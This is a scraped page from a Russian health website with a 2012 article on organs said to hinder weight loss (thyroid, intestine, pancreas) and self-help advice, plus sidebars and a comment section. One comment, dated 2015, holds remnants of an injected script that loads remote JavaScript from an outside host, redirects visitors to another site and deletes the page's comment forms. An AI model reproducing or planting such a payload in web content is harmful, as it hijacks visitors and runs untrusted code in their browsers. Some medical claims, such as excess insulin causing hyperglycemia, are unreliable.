Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Органы, мешающие похудеть  >>  Органы, мешающие похудеть
 
Обратная связь
 

Органы, мешающие похудеть

Размер шрифта
30 января 2012 08:23
  • google_analytics: false
  • Нравится

Не можете похудеть? Не спешите винить всех вокруг. Загляните в самих себя. А мы вам укажем на органы, которые мешают похудеть.

Щитовидная железа

1

Щитовидная железа похожа на бабочку. Размер ее долей 4 на 2 см. В норме она вырабатывает гормоны, благодаря которым у нас нормальный обмен веществ.

В результате нарушения работы щитовидной железы, или гипотиреоза – когда в организме недостаток гормонов щитовидной железы – может начаться ожирение.

Что делать?

  1. Обратиться к эндокринологу.

  2. Сдать анализ крови на уровень тиреотропного гормона.

  3. Так как частой причиной нарушения работы щитовидной железы является недостаток йода, необходимо включить в рацион йодированную соль и продукты, обогащенные йодом.

  4. Врач может назначить гормонозаместительную терапию.

Кишечник

1

Длина кишечника 7,5 м, площадь поверхности – 400 кв. м.

Главная функция кишечника – переваривание пищи и всасывание воды. По кишечнику пища проходит длинный путь. Скорость продвижения пищевого комка – 30 см в час.

Если кишечник работает плохо, со временем возникают запоры. Пищевой комок перестает проталкиваться, возникает кишечная непроходимость, появляется лишний вес. Кроме того, постоянные запоры приводят к нарушению обмена веществ и ожирению.

Что делать?

  1. Чтобы избежать запоров, пейте минимум два литра воды в день.

  2. Соблюдайте режим питания.

  3. Употребляйте продукты с грубыми растительными волокнами.

Поджелудочная железа

1

Поджелудочная железа находится за желудком, протоки ее открываются в 12-ти перстную кишку, печень.

Клетки поджелудочной железы производят инсулин – основной гормон, участвующий в поддержании нормального уровня сахара в крови. Инсулин выделяется поджелудочной железой в ответ на поступление сахара в кровь.

Повышенная выработка инсулина приводит к гипергликемии и в результате – к ожирению. В ответ на повышение глюкозы в крови, поджелудочная железа секретирует все больше и больше инсулина, человек начинает толстеть.

Такое ожирение вызывает диабет 2 типа, который, в свою очередь, вызывает еще большее ожирение.

Что делать?

  1. Ешьте маленькими порциями в течение всего дня.

  2. Употребляйте продукты с низким гликемическим индексом. Они медленнее высвобождают глюкозу, что вызывает меньший выброс инсулина. Глюкоза всасывается постепенно и равномерно, а вы не хотите есть.

  3. Исключите острое, жирное и алкоголь из рациона, а также пирожные, печенье, сахар, манную крупу и картофель.

  4. Принимайте ферментативные препараты по назначению врача.



Сюжеты по теме:
Органы, которые мешают похудеть. Почему бывает трудно сбросить вес

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:58

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как похудеть, поедая шоколад   Как добавить 20 лет к жизни   Как меняется аппетит с возрастом   Радикальные методы снижения веса  
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 05 июля 2013Вы не виноваты в своем лишнем весе! Еда всего лишь одна из причин ожирения! Какая же главная?
 
31 мая 2013От инфаркта не убежать, но можно уйти! Новые данные говорят о том, что ходьба также эффективна, как бег, в борьбе с лишним весом! 27 мая 2013Почему женщины толстеют после 45? Как этого избежать?
 

Слайдшоу

1
Весы OMRON HN289
Монитор состава тела OMRON BF508
7 признаков, что ваш иммунитет сдает!

Тесты

1
Хорошо ли Вы спите?
Какое мороженное съесть, чтобы похудеть
Есть ли у вас избыточный вес?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.